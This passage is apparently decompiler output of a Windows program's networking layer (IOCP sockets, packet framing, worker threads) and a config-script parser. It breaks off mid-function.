//----- (0055AA30) -------------------------------------------------------- void __thiscall CSocket_IOCP::CSocket_IOCP(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->m_Write_IOCP_Process; this->m_IOCP_Process_Socket.baseclass_0.vfptr = (CIOCP_Process_InterfeceVtbl *)&CIOCP_Process_Interfece::_vftable_; CIOCP_Process::CIOCP_Process(&this->m_Write_IOCP_Process); CIOCP_Process::CIOCP_Process(&v1->m_Read_IOCP_Process); CIOCP_Process::CIOCP_Process(&v1->m_Close_IOCP_Process); v1->m_Socket = -1; *(_DWORD *)&v1->m_SocketAddr.sa_family = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[2] = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[6] = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[10] = 0; v1->m_Overlapped_Write.baseclass_0.Internal = 0; v1->m_Overlapped_Write.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Write.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Write.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Write.baseclass_0.hEvent = 0; v1->m_Overlapped_Write.Type = 0; v1->m_Overlapped_Write.pIOCP_Process = 0; v1->m_Overlapped_Write.pData = 0; v1->m_Overlapped_Write.Type = 1; v1->m_Overlapped_Write.pIOCP_Process = (CIOCP_Process *)v2; v1->m_Overlapped_Write.pData = v1; v1->m_Overlapped_Read.baseclass_0.Internal = 0; v1->m_Overlapped_Read.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Read.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Read.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Read.baseclass_0.hEvent = 0; v1->m_Overlapped_Read.Type = 0; v1->m_Overlapped_Read.pIOCP_Process = 0; v1->m_Overlapped_Read.pData = 0; v1->m_Overlapped_Read.pIOCP_Process = &v1->m_Read_IOCP_Process; v1->m_Overlapped_Read.pData = v1; v1->m_Overlapped_Read.Type = 0; v1->m_Overlapped_Close.baseclass_0.Internal = 0; v1->m_Overlapped_Close.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Close.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Close.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Close.baseclass_0.hEvent = 0; v1->m_Overlapped_Close.Type = 0; v1->m_Overlapped_Close.pIOCP_Process = 0; v1->m_Overlapped_Close.pData = 0; v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; v1->m_Overlapped_Close.Type = 2; v1->m_Overlapped_Close.pIOCP_Process = &v1->m_Close_IOCP_Process; v1->m_Overlapped_Close.pData = v1; InitializeCriticalSection(&v1->m_Write_CS); } // 5D3EC8: using guessed type int (__stdcall *CIOCP_Process_Interfece___vftable_)(int pOverlapped, int NumOfBytes); //----- (0055AB20) -------------------------------------------------------- void __thiscall CSocket_IOCP::_CSocket_IOCP(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 v1 = this; if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); } CSocket_IOCP::Close(v1); EnterCriticalSection(&v1->m_Write_CS); CSocket_IOCP::FreeBuffer(v1); v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; LeaveCriticalSection(&v1->m_Write_CS); DeleteCriticalSection(&v1->m_Write_CS); } //----- (0055ABA0) -------------------------------------------------------- int __thiscall CSocket_IOCP::Connect(CSocket_IOCP *this, char *pIPAddress, int PortNo) { CSocket_IOCP *v3; // esi@1 SOCKET v4; // eax@5 char *v5; // eax@6 char v6; // cl@7 char *v7; // eax@9 char *v8; // edx@10 char v9; // cl@11 u_short v10; // ax@12 SOCKET v11; // ST00_4@12 SOCKET v13; // ST04_4@15 int sizename; // [sp+4h] [bp-118h]@15 struct sockaddr serv_addr; // [sp+8h] [bp-114h]@12 char NewIPAddress[256]; // [sp+18h] [bp-104h]@7 v3 = this; if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); } CSocket_IOCP::Close(v3); if ( !InetAddress::WinSockStart(2, 2) || (v4 = socket(2, 1, 6), v3->m_Socket = v4, v4 == -1) ) return 0; v5 = pIPAddress; do { v6 = *v5; v5[NewIPAddress - pIPAddress] = *v5; ++v5; } while ( v6 ); if ( isalpha(NewIPAddress[0]) ) { v7 = InetAddress::GetHostByName(pIPAddress); if ( v7 ) { v8 = (char *)(NewIPAddress - v7); do { v9 = *v7; v7[(_DWORD)v8] = *v7; ++v7; } while ( v9 ); } } *(_DWORD *)&serv_addr.sa_family = 0; *(_DWORD *)&serv_addr.sa_data[6] = 0; *(_DWORD *)&serv_addr.sa_data[10] = 0; serv_addr.sa_family = 2; *(_DWORD *)&serv_addr.sa_data[2] = inet_addr(NewIPAddress); v10 = htons(PortNo); v11 = v3->m_Socket; *(_WORD *)&serv_addr.sa_data[0] = v10; if ( connect(v11, &serv_addr, 16) ) { WSAGetLastError(); CSocket_IOCP::Close(v3); return 0; } v13 = v3->m_Socket; sizename = 16; getpeername(v13, &v3->m_SocketAddr, &sizename); return 1; } //----- (0055AD20) -------------------------------------------------------- int __thiscall CSocket_IOCP::Send(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes) { signed int v3; // ebx@1 void *v4; // ebp@1 int result; // eax@7 CIOBuffer *v6; // eax@10 CSocket_IOCP *thisa; // [sp+10h] [bp-108h]@1 char Msg[256]; // [sp+14h] [bp-104h]@3 v3 = dwNumBytes; v4 = pBuffer; thisa = this; if ( dwNumBytes > 0x2000 ) { if ( *(_BYTE *)pBuffer ) sprintf(Msg, "WARNING - CSocket_IOCP::Send, OVERMAX SIZE,TYPE_0, PacketSize=%d, Netcmd=%d,%d"); else sprintf(Msg, "WARNING - CSocket_IOCP::Send, OVERMAX SIZE,TYPE_1, PacketSize=%d, Netcmd=%d,%d"); _DebugMessageNew(1, "Msg", "%s"); } if ( dwNumBytes ) { while ( 1 ) { v6 = CIOBuffer::Alloc(); if ( (unsigned int)v3 > 0x2000 ) v3 = 8192; memcpy(v6->m_buffer, v4, v3); v6->m_dwSize = v3; if ( !CSocket_IOCP::Write(thisa, v6) ) break; v4 = (char *)v4 + v3; dwNumBytes -= v3; if ( !dwNumBytes ) goto LABEL_7; v3 = dwNumBytes; } result = 0; } else { LABEL_7: result = 1; } return result; } //----- (0055AE50) -------------------------------------------------------- void __thiscall CPacket::_CPacket(CPacket *this) { CPacket *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->m_pPacketBuffer; this->vfptr = (CPacketVtbl *)CPacket::_vftable_; if ( v2 ) { operator delete(v2); v1->m_pPacketBuffer = 0; v1->m_MaxPacketSize = 0; v1->m_pPacketHeader = 0; } } // 5DA670: using guessed type int (__cdecl *CPacket___vftable_[2])(int __formal); //----- (0055AE80) -------------------------------------------------------- int __thiscall CPacket::IsValidHeader(CPacket *this) { CPacket::PACKET *v1; // edx@1 unsigned int v2; // eax@1 v1 = this->m_pPacketHeader; v2 = &this->m_pPacketBuffer[this->m_WritePosition] - (char *)v1; if ( (signed int)(&this->m_pPacketBuffer[this->m_WritePosition] - (char *)v1) > 0 && v2 >= 1 ) { if ( v1->Packet1.size ) { if ( v2 >= 3 ) return 1; } else { if ( v2 >= 5 ) return 2; } } return 0; } //----- (0055AEC0) -------------------------------------------------------- int __thiscall CPacket::IsValidPacket(CPacket *this) { CPacket *v1; // esi@1 int result; // eax@1 int v3; // eax@2 CPacket *nError; // [sp+4h] [bp-4h]@1 nError = this; v1 = this; result = ((int (*)(void))this->vfptr->IsValidHeader)(); if ( result ) { v3 = v1->vfptr->GetPacketSize(v1, (int *)&nError); if ( (signed int)nError < 0 || v3 > v1->m_MaxPacketSize || (unsigned int)v3 <= 2 ) result = 2; else result = (signed int)&v1->m_pPacketBuffer[v1->m_WritePosition - (unsigned int)v1->m_pPacketHeader] >= v3; } return result; } //----- (0055AF10) -------------------------------------------------------- int __thiscall CPacket::GetPacketSize(CPacket *this, int *pError) { int result; // eax@4 CPacket::PACKET *v3; // eax@5 if ( !pError ) return 0; if ( !this->m_pPacketHeader ) { *pError = -1; return 0; } *pError = 0; v3 = this->m_pPacketHeader; if ( v3->Packet1.size ) result = v3->Packet1.size + 1; else result = v3->Packet1.ID + 3; return result; } //----- (0055AF50) -------------------------------------------------------- unsigned __int16 __thiscall CPacket::GetDataSize(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = v1->Packet1.size; else result = v1->Packet1.ID; return result; } //----- (0055AF70) -------------------------------------------------------- unsigned __int16 *__thiscall CPacket::GetIDPtr(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 *result; // eax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = &v1->Packet1.ID; else result = &v1->Packet2.ID; return result; } //----- (0055AF80) -------------------------------------------------------- char *__thiscall CPacket::GetDataPtr(CPacket *this) { CPacket::PACKET *v1; // eax@1 char *result; // eax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = (char *)&v1->Packet2.ID; else result = (char *)&v1[1]; return result; } //----- (0055AF90) -------------------------------------------------------- int __thiscall CPacket::GetPacket(CPacket *this, unsigned __int16 *pID, char **ppData, int *pDataSize) { CPacket *v4; // esi@1 int v5; // eax@1 int result; // eax@3 v4 = this; v5 = ((int (*)(void))this->vfptr->IsValidPacket)(); if ( v5 ) { if ( v5 == 1 ) { *pID = v4->vfptr->ID(v4); *ppData = v4->vfptr->GetDataPtr(v4); *pDataSize = v4->vfptr->GetDataSize(v4); result = 1; } else { result = 2; } } else { result = 0; } return result; } //----- (0055AFF0) -------------------------------------------------------- void __thiscall CPacket::TakeNextPacket(CPacket *this) { CPacket *v1; // esi@1 int v2; // eax@1 CPacket *nError; // [sp+4h] [bp-4h]@1 nError = this; v1 = this; v2 = ((int (__stdcall *)(_DWORD))this->vfptr->GetPacketSize)(&nError); if ( (signed int)nError >= 0 ) v1->m_pPacketHeader = (CPacket::PACKET *)((char *)v1->m_pPacketHeader + v2); } //----- (0055B010) -------------------------------------------------------- int __thiscall CPacket::RemoveAllUsedPacket(CPacket *this) { CPacket *v1; // esi@1 int v2; // eax@1 int result; // eax@2 char *v4; // ecx@3 char *v5; // edx@3 int v6; // edi@3 v1 = this; v2 = this->m_WritePosition; if ( v2 >= this->m_MaxPacketSize ) { v4 = (char *)this->m_pPacketHeader; v5 = v1->m_pPacketBuffer; v6 = v4 - v5; if ( v4 == v5 ) { result = 0; } else { memmove(v5, v4, v2 - v6); v1->m_pPacketHeader = (CPacket::PACKET *)v1->m_pPacketBuffer; v1->m_WritePosition -= v6; result = 1; } } else { result = 0; } return result; } //----- (0055B060) -------------------------------------------------------- void __thiscall CPacket::Clear(CPacket *this) { CPacket *v1; // esi@1 v1 = this; if ( !this->m_pPacketBuffer ) { this->m_pPacketBuffer = (char *)operator new__(0x2000u); v1->m_MaxPacketSize = 8192; } v1->m_pPacketHeader = (CPacket::PACKET *)v1->m_pPacketBuffer; v1->m_WritePosition = 0; v1->m_ReadPosition = 0; } //----- (0055B0A0) -------------------------------------------------------- unsigned __int16 __thiscall CPacket::ID(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = v1->Packet1.ID; else result = v1->Packet2.ID; return result; } //----- (0055B0C0) -------------------------------------------------------- void __thiscall CPacket::WriteData(CPacket *this, void *buffer, int size) { int v3; // edx@1 CPacket *v4; // eax@1 int v5; // ebx@1 int v6; // eax@2 void *v7; // edi@6 unsigned int v8; // ecx@6 v3 = size; v4 = this; v5 = this->m_WritePosition; if ( v5 + size > this->m_MaxPacketSize ) { v6 = (int)operator new(1u); if ( v6 ) { *(_BYTE *)v6 = 0; size = v6; } else { size = 0; } _CxxThrowException(&size, &_TI2PAVInvalidPacketException_CPacket__); } v7 = &this->m_pPacketBuffer[v5]; v8 = (unsigned int)size >> 2; memcpy(v7, buffer, 4 * ((unsigned int)size >> 2)); memcpy((char *)v7 + 4 * v8, (char *)buffer + 4 * v8, v3 & 3); v4->m_WritePosition += v3; v4->m_pPacketHeader->Packet1.size += v3; } //----- (0055B130) -------------------------------------------------------- int __thiscall CPacket::GetWriteableBufferSize(CPacket *this) { return this->m_MaxPacketSize - this->m_WritePosition; } //----- (0055B140) -------------------------------------------------------- char *__thiscall CPacket::GetWriteDataPtr(CPacket *this) { return &this->m_pPacketBuffer[this->m_WritePosition]; } //----- (0055B150) -------------------------------------------------------- void __thiscall CPacket::CPacket(CPacket *this) { CPacket *v1; // esi@1 void *v2; // eax@1 v1 = this; this->vfptr = (CPacketVtbl *)CPacket::_vftable_; this->m_pPacketBuffer = 0; this->m_pPacketHeader = 0; v2 = operator new__(0x2000u); v1->m_WritePosition = 0; v1->m_ReadPosition = 0; v1->m_pPacketBuffer = (char *)v2; v1->m_pPacketHeader = (CPacket::PACKET *)v2; v1->m_MaxPacketSize = 8192; } // 5DA670: using guessed type int (__cdecl *CPacket___vftable_[2])(int __formal); //----- (0055B190) -------------------------------------------------------- CPacket *__thiscall CPacket::ID(CPacket *this, unsigned __int16 PacketID, int DataSize, char *pData) { CPacket *v4; // esi@1 signed int v5; // edi@1 int v6; // ebx@1 void *v7; // eax@5 CPacket::PACKET *v8; // ecx@8 CPacket *result; // eax@9 v4 = this; v5 = (unsigned int)(DataSize + 2) < 0x100 ? 3 : 5; v6 = v5 + DataSize; if ( this->m_pPacketBuffer && this->m_MaxPacketSize < v6 ) { operator delete(this->m_pPacketBuffer); v4->m_pPacketBuffer = 0; } if ( !v4->m_pPacketBuffer ) { v7 = operator new__(v6); v4->m_pPacketBuffer = (char *)v7; v4->m_pPacketHeader = (CPacket::PACKET *)v7; v4->m_MaxPacketSize = v6; } v4->m_WritePosition = v5; if ( pData ) CPacket::WriteData(v4, pData, DataSize); v8 = v4->m_pPacketHeader; if ( v5 == 3 ) { v8->Packet1.ID = PacketID; v4->m_pPacketHeader->Packet1.size = v6 - 1; v4->m_ReadPosition = 3; result = v4; } else { v8->Packet2.ID = PacketID; v4->m_pPacketHeader->Packet1.size = 0; v4->m_pPacketHeader->Packet1.ID = v6 - 3; v4->m_ReadPosition = v5; result = v4; } return result; } //----- (0055B240) -------------------------------------------------------- void __thiscall CIOCP::CIOCP(CIOCP *this) { this->m_NumOfWorkThread = 0; this->m_ActiveWorker = 0; this->m_pWorkThreads = 0; this->m_HandleIOCP = 0; this->m_Overlapped_Stop.baseclass_0.Internal = 0; this->m_Overlapped_Stop.baseclass_0.InternalHigh = 0; this->m_Overlapped_Stop.baseclass_0.___u2.Offset = 0; this->m_Overlapped_Stop.baseclass_0.OffsetHigh = 0; this->m_Overlapped_Stop.baseclass_0.hEvent = 0; this->m_Overlapped_Stop.Type = 0; this->m_Overlapped_Stop.pIOCP_Process = 0; this->m_Overlapped_Stop.pData = 0; this->m_Overlapped_Stop.Type = 3; } //----- (0055B280) -------------------------------------------------------- void *__thiscall CIOCP::Register(CIOCP *this, void *IOHandle, unsigned int CompletionKey) { CIOCP *v3; // esi@1 void *result; // eax@2 v3 = this; if ( this->m_HandleIOCP != (void *)-1 || (result = CreateIoCompletionPort((HANDLE)0xFFFFFFFF, 0, 0, 0), v3->m_HandleIOCP = result, result != (void *)-1) ) result = CreateIoCompletionPort(IOHandle, v3->m_HandleIOCP, CompletionKey, 0); return result; } //----- (0055B2C0) -------------------------------------------------------- void __thiscall CIOCP::Stop(CIOCP *this, int StopWorkerID) { ULONG_PTR v2; // esi@1 int v3; // ebp@4 int v4; // eax@4 signed int v5; // ebx@7 int v6; // edi@8 int v7; // ebp@8 int v8; // eax@9 int v9; // ecx@9 int v10; // eax@9 signed int v11; // edx@15 int v12; // ecx@16 int v13; // eax@16 int ThreadEnd; // [sp+4h] [bp-8h]@4 int ThreadStart; // [sp+8h] [bp-4h]@4 v2 = (ULONG_PTR)this; if ( this->m_pWorkThreads && this->m_ActiveWorker ) { if ( StopWorkerID == -1 ) { v3 = this->m_NumOfWorkThread; v4 = 0; ThreadStart = 0; ThreadEnd = this->m_NumOfWorkThread; } else { ThreadStart = StopWorkerID; ThreadEnd = StopWorkerID + 1; v3 = StopWorkerID + 1; v4 = StopWorkerID; } while ( 1 ) { v5 = 0; if ( v4 >= v3 ) goto LABEL_26; v6 = 20 * v4; v7 = v3 - v4; do { v8 = *(_DWORD *)(v2 + 12); v9 = *(_DWORD *)(v8 + v6 + 4); v10 = v6 + v8; switch ( v9 ) { case 4: CloseHandle(*(HANDLE *)(v10 + 8)); *(_DWORD *)(v6 + *(_DWORD *)(v2 + 12) + 4) = 0; break; case 2: *(_DWORD *)(v10 + 4) = 3; v5 = 1; PostQueuedCompletionStatus(*(HANDLE *)v2, 0, v2, (LPOVERLAPPED)(v2 + 16)); break; case 1: case 3: v5 = 1; break; default: break; } v6 += 20; --v7; } while ( v7 ); if ( !v5 ) { LABEL_26: v11 = 1; if ( *(_DWORD *)(v2 + 4) <= 0 ) goto LABEL_27; v12 = *(_DWORD *)(v2 + 4); v13 = *(_DWORD *)(v2 + 12) + 4; do { if ( *(_DWORD *)v13 ) v11 = 0; v13 += 20; --v12; } while ( v12 ); if ( v11 ) { LABEL_27: operator delete(*(void **)(v2 + 12)); *(_DWORD *)(v2 + 12) = 0; *(_DWORD *)(v2 + 8) = 0; return; } if ( StopWorkerID != -1 ) return; Sleep(2u); } v3 = ThreadEnd; v4 = ThreadStart; } } } //----- (0055B3F0) -------------------------------------------------------- unsigned int __stdcall CIOCP::WorkThread(void *lpParam) { void *v1; // esi@1 DWORD v2; // eax@5 int v3; // eax@8 void *hIOCP; // [sp+10h] [bp-Ch]@1 DWORD NumOfBytes; // [sp+14h] [bp-8h]@2 unsigned __int32 CompletionKey; // [sp+18h] [bp-4h]@2 v1 = lpParam; hIOCP = (void *)**((_DWORD **)lpParam + 4); _DEBUGMSGVC(gbDMVCICOP, ""); *((_DWORD *)v1 + 1) = 2; do { if ( GetQueuedCompletionStatus(hIOCP, &NumOfBytes, &CompletionKey, (LPOVERLAPPED *)&lpParam, 0x3E8u) ) { if ( *((_DWORD *)lpParam + 5) == 3 ) break; (*(void (__stdcall **)(void *, DWORD))***((void (__stdcall *****)(_DWORD, _DWORD))lpParam + 6))( lpParam, NumOfBytes); } else { v2 = GetLastError(); if ( v2 != 258 ) { if ( v2 != 995 ) { if ( lpParam ) { v3 = *((_DWORD *)lpParam + 6); if ( v3 ) (*(void (__stdcall **)(void *))(**(_DWORD **)v3 + 4))(lpParam); } } } } } while ( *((_DWORD *)v1 + 1) == 2 ); *((_DWORD *)v1 + 1) = 4; _DEBUGMSGVC(gbDMVCICOP, ""); return 0; } //----- (0055B4D0) -------------------------------------------------------- int __thiscall CIOCP::Start(CIOCP *this, int nNumOfWorkThread, int bWaitAllThreadStart) { CIOCP *v3; // esi@1 int result; // eax@2 int v5; // ebx@3 int v6; // edi@4 int v7; // ebx@7 int v8; // edi@8 v3 = this; if ( this->m_HandleIOCP || (result = (int)CreateIoCompletionPort((HANDLE)0xFFFFFFFF, 0, 0, 0), (v3->m_HandleIOCP = (void *)result) != 0) ) { CIOCP::Stop(v3, -1); v5 = 0; v3->m_pWorkThreads = (CIOCP::WORKER *)operator new__(20 * nNumOfWorkThread); v3->m_ActiveWorker = 1; if ( nNumOfWorkThread > 0 ) { v6 = 0; do { v3->m_pWorkThreads[v6].pIOCP = v3; v3->m_pWorkThreads[v6].WorkerID = v5; v3->m_pWorkThreads[v6].WorkerStatus = 1; v3->m_pWorkThreads[v6].hThread = CreateThread( 0, 0, CIOCP::WorkThread, &v3->m_pWorkThreads[v6], 0, &v3->m_pWorkThreads[v6].ThreadID); Sleep(0x32u); ++v5; ++v6; } while ( v5 < nNumOfWorkThread ); } if ( bWaitAllThreadStart ) { v7 = 0; if ( nNumOfWorkThread > 0 ) { v8 = 0; do { if ( v3->m_pWorkThreads[v8].WorkerStatus == 1 ) { Sleep(0x32u); } else { ++v7; ++v8; } } while ( v7 < nNumOfWorkThread ); } } v3->m_NumOfWorkThread = nNumOfWorkThread; result = nNumOfWorkThread; } return result; } //----- (0055B5B0) -------------------------------------------------------- void __thiscall CIOCP::_CIOCP(CIOCP *this) { CIOCP *v1; // esi@1 v1 = this; CIOCP::Stop(this, -1); if ( v1->m_HandleIOCP ) { CloseHandle(v1->m_HandleIOCP); v1->m_HandleIOCP = 0; } } //----- (0055B5E0) -------------------------------------------------------- void __thiscall CCsl::VarClear(CCsl *this) { this->m_bEnd = 0; this->m_bRemarkBlock = 0; this->m_NumFormatErrors = 0; this->m_NumDataErrors = 0; this->m_NumFormats = 0; this->m_pFormats = 0; this->m_pFormatLast = 0; this->m_ppFormatTable = 0; this->m_NumDatas = 0; this->m_pDatas = 0; this->m_pDataLast = 0; this->m_ppDataTable = 0; this->m_dwNumResultMsg = 0; this->m_pResultMsgLast = 0; this->m_pResultMsgs = 0; this->m_pParentCsl = 0; this->m_bInclude = 0; } //----- (0055B650) -------------------------------------------------------- int __thiscall CCsl::MakeFormatTable(CCsl *this) { CCsl *v1; // esi@1 int v2; // eax@3 CCsl::CSL_FORMAT_LIST *v3; // eax@4 int v4; // ecx@5 v1 = this; if ( this->m_ppFormatTable ) { operator delete(this->m_ppFormatTable); v1->m_ppFormatTable = 0; } v2 = v1->m_NumFormats; if ( v2 > 0 ) { v1->m_ppFormatTable = (CCsl::CSL_FORMAT_LIST **)operator new__(4 * v2); v3 = v1->m_pFormats; if ( v3 ) { v4 = 0; do { v1->m_ppFormatTable[v4] = v3; v3 = v3->pNext; ++v4; } while ( v3 ); } } return 1; } //----- (0055B6C0) -------------------------------------------------------- int __thiscall CCsl::MakeDataTable(CCsl *this) { CCsl *v1; // esi@1 int v2; // eax@3 CCsl::CSL_DATA_LIST *v3; // eax@4 int v4; // ecx@5 v1 = this; if ( this->m_ppDataTable ) { operator delete__(this->m_ppDataTable); v1->m_ppDataTable = 0; } v2 = v1->m_NumDatas; if ( v2 > 0 ) { v1->m_ppDataTable = (CCsl::CSL_DATA_LIST **)operator new__(4 * v2); v3 = v1->m_pDatas; if ( v3 ) { v4 = 0; do { v1->m_ppDataTable[v4] = v3; v3 = v3->pNext; ++v4; } while ( v3 ); } } return 1; } //----- (0055B730) -------------------------------------------------------- int __thiscall CCsl::AddResultMsg(CCsl *this, char *pszMsg) { CCsl *v2; // ebx@1 int result; // eax@1 char *v4; // ecx@2 char v5; // dl@3 v2 = this; result = (int)operator new__(strlen(pszMsg) + 9); if ( result ) { *(_DWORD *)result = 0; v4 = pszMsg; do { v5 = *v4; v4[result + 4 - (_DWORD)pszMsg] = *v4; ++v4; } while ( v5 ); if ( v2->m_pResultMsgs ) v2->m_pResultMsgLast->pNext = (CCsl::CSL_RESULT_MSG_LIST *)result; else v2->m_pResultMsgs = (CCsl::CSL_RESULT_MSG_LIST *)result; v2->m_pResultMsgLast = (CCsl::CSL_RESULT_MSG_LIST *)result; ++v2->m_dwNumResultMsg; result = 1; } return result; } //----- (0055B7B0) -------------------------------------------------------- CCsl::CSL_FORMAT_LIST *__thiscall CCsl::GetFormat(CCsl *this, int Index) { int v2; // edx@1 CCsl::CSL_FORMAT_LIST *result; // eax@2 CCsl::CSL_FORMAT_LIST **v4; // esi@3 int v5; // ecx@5 v2 = this->m_NumFormats; if ( v2 > Index ) { v4 = this->m_ppFormatTable; if ( v4 || (result = this->m_pFormats) == 0 ) { result = v4[Index]; } else { v5 = 0; if ( v2 <= 0 ) { LABEL_8: result = 0; } else { while ( v5 != Index ) { result = result->pNext; ++v5; if ( v5 >= v2 ) goto LABEL_8; } } } } else { result = 0; } return result; } //----- (0055B800) -------------------------------------------------------- int __thiscall CCsl::GetNumDatas(CCsl *this) { return this->m_NumDatas; } //----- (0055B810) -------------------------------------------------------- CCsl::CSL_DATA_LIST *__thiscall CCsl::GetDataInfo(CCsl *this, int Index) { int v2; // edx@1 CCsl::CSL_DATA_LIST *result; // eax@2 CCsl::CSL_DATA_LIST **v4; // esi@3 int v5; // ecx@5 v2 = this->m_NumDatas; if ( v2 > Index ) { v4 = this->m_ppDataTable; if ( v4 || (result = this->m_pDatas) == 0 ) { result = v4[Index]; } else { v5 = 0; if ( v2 <= 0 ) { LABEL_8: result = 0; } else { while ( v5 != Index ) { result = result->pNext; ++v5; if ( v5 >= v2 ) goto LABEL_8; } } } } else { result = 0; } return result; } //----- (0055B860) -------------------------------------------------------- void *__thiscall CCsl::GetData(CCsl *this, int Index, int VarNo) { CCsl *v3; // esi@1 int *v4; // eax@1 int *v5; // edi@1 CCsl::CSL_FORMAT_LIST *v6; // eax@2 CCsl::CSL_FORMAT_LIST *v7; // ecx@2 int v8; // edx@3 void *result; // eax@4 int *v10; // esi@6 CCsl::CSL_PARAMETER *v11; // ecx@6 v3 = this; v4 = (int *)CCsl::GetDataInfo(this, Index); v5 = v4; if ( v4 && (v6 = CCsl::GetFormat(v3, *v4), (v7 = v6) != 0) && (v8 = VarNo, v6->NumParameter > VarNo) ) { result = (void *)v5[2]; if ( VarNo > 0 ) { v10 = v3->m_pCslParameterSize; v11 = v7->pParameter; do { result = (char *)result + v10[*v11]; ++v11; --v8; } while ( v8 ); } } else { result = 0; } return result; } //----- (0055B8C0) -------------------------------------------------------- int __thiscall CCsl::ProcRemark(CCsl *this, char *Token) { CCsl *v2; // esi@1 unsigned int v3; // eax@1 int result; // eax@3 char *v5; // eax@7 int v6; // edx@8 char v7; // cl@9 int v8; // esi@11 char *v9; // eax@12 int v10; // edx@13 char v11; // cl@14 char *v12; // eax@17 int v13; // edx@18 char v14; // cl@19 int v15; // esi@21 char *v16; // eax@22 int v17; // edx@23 char v18; // cl@24 int v19; // esi@26 int v20; // eax@27 char v21; // cl@28 v2 = this; v3 = CToken::IsTokenID(&this->baseclass_0, Token, this->m_CslRemarks, 7u); if ( v2->m_bRemarkBlock && v3 != 2 ) { result = 1; } else { switch ( v3 ) { case 1u: v2->m_bRemarkBlock = 1; result = 1; break; case 2u: v2->m_bRemarkBlock = 0; result = 1; break; case 3u: v5 = CToken::GetToken(&v2->baseclass_0); if ( v5 ) { v6 = v2->m_CslSeprator - v5; do { v7 = *v5; v5[v6] = *v5; ++v5; } while ( v7 ); CToken::SetSeprator(&v2->baseclass_0, v2->m_CslSeprator); result = 1; } else { v8 = (int)v2->m_CslSeprator; *(_DWORD *)v8 = *(_DWORD *)", \t\r\n"; *(_WORD *)(v8 + 4) = word_5DA6F0; result = 1; } break; case 4u: v9 = CToken::GetToken(&v2->baseclass_0); if ( v9 ) { v10 = v2->m_CslRemarkLine - v9; do { v11 = *v9; v9[v10] = *v9; ++v9; } while ( v11 ); result = 1; } else { *(_WORD *)&v2->m_CslRemarkLine[0] = 59; result = 1; } break; case 5u: v12 = CToken::GetToken(&v2->baseclass_0); if ( v12 ) { v13 = v2->m_CslRemarkStart - v12; do { v14 = *v12; v12[v13] = *v12; ++v12; } while ( v14 ); result = 1; } else { v15 = (int)v2->m_CslRemarkStart; *(_WORD *)v15 = *(_WORD *)"/*"; *(_BYTE *)(v15 + 2) = byte_5DA6EA; result = 1; } break; case 6u: v16 = CToken::GetToken(&v2->baseclass_0); if ( v16 ) { v17 = v2->m_CslRemarkEnd - v16; do { v18 = *v16; v16[v17] = *v16; ++v16; } while ( v18 ); result = 1; } else { v19 = (int)v2->m_CslRemarkEnd; *(_WORD *)v19 = *(_WORD *)"*/"; *(_BYTE *)(v19 + 2) = byte_5DA6E6; result = 1; } break; case 0u: goto $L64571; default: v20 = (int)v2->m_CslRemarkLine; do v21 = *(_BYTE *)v20++; while ( v21 ); if ( _mbsnbcmp(Token, v2->m_CslRemarkLine, v20 - (_DWORD)((char *)v2 + 1025)) ) { result = 0; } else { $L64571: CToken::GoNextLine(&v2->baseclass_0); result = 1; } break; } } return result; } // 5DA6E6: using guessed type char byte_5DA6E6; // 5DA6EA: using guessed type char byte_5DA6EA; // 5DA6F0: using guessed type __int16 word_5DA6F0; //----- (0055BAC0) -------------------------------------------------------- CCsl::CSL_FORMAT_LIST *__thiscall CCsl::MakeFormat(CCsl *this) { CCsl *v1; // ebp@1 int v2; // ebx@1 char *v3; // eax@3 const char *v4; // edi@3 unsigned int v5; // eax@7 unsigned int v6; // esi@7 const char *v7; // esi@9 int v8; // ebx@9 void *v9; // eax@13 int v10; // edi@16 int i; // esi@16 void *v12; // eax@17 void *v13; // eax@23 void *v14; // esi@23 int v15; // eax@23 char v16; // cl@24 int v17; // edi@25 void *v18; // eax@26 void *pParameters; // [sp+10h] [bp-260h]@1 int NumParameters; // [sp+14h] [bp-25Ch]@1 void *pParameterLast; // [sp+18h] [bp-258h]@0 signed int bFormat; // [sp+1Ch] [bp-254h]@1 CCsl::CSL_FORMAT_LIST *pFormats; // [sp+24h] [bp-24Ch]@9 char FormatBF[65]; // [sp+28h] [bp-248h]@1 char RetMsg[512]; // [sp+6Ch] [bp-204h]@22 v1 = this; memset(FormatBF, 0, 0x40u); v2 = 0; FormatBF[64] = 0; NumParameters = 0; pParameters = 0; bFormat = 0; while ( 1 ) { while ( 1 ) { while ( 1 ) { do { v3 = CToken::GetToken(&v1->baseclass_0); v4 = v3; if ( !v3 ) { ++v1->m_NumFormatErrors; sprintf(RetMsg, "FORMAT DEFINNING, EOF Come."); CCsl::AddResultMsg(v1, RetMsg); return 0; } } while ( CCsl::ProcRemark(v1, v3) ); if ( bFormat ) break; strncpy(FormatBF, v4, 0x40u); bFormat = 1; } v5 = CToken::IsTokenID(&v1->baseclass_0, (char *)v4, 